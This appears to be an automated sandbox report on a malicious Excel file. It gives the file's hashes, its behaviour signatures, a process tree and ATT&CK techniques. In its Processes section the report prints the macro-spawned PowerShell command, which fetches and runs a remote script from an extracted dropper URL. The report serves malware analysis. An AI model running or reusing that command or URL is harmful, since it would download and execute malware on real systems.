Overview

overview

10

Static

static

2761395201.xls

windows7_x64

10

2761395201.xls

windows10_x64

10

Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    07-12-2020 15:19

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General

  • Target

    2761395201.xls

  • Size

    1.8MB

  • MD5

    a17e5c6d0278bc25eb69a5b39a902372

  • SHA1

    34c74a1ee53e94fd1b782af2a21c38af6cca760c

  • SHA256

    3b137cbbd7a33bbed25b28a49a7d05ede977ad0e8cf586873bbafcfe375ec699

  • SHA512

    d5b000c1622d9cfb21adca877e54f01a7fc63fb2ea6d776eb59abd4a457a04371dab914cf8f1d23fe146e08d430e438ab2bb67f91b3bcacf91b28dcd82b493cb

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://office-services-sec.com/crimea.ps1

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2761395201.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:972
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://office-services-sec.com/crimea.ps1')
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:652

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

  • memory/652-3-0x0000000000000000-mapping.dmp
    Download
  • memory/652-4-0x00007FFA61AE0000-0x00007FFA624CC000-memory.dmp
    Filesize

    9.9MB

    Download
  • memory/652-5-0x000001F753100000-0x000001F753101000-memory.dmp
    Filesize

    4KB

    Download
  • memory/652-6-0x000001F7535C0000-0x000001F7535C1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/972-2-0x00007FFA6A5E0000-0x00007FFA6AC17000-memory.dmp
    Filesize

    6.2MB

    Download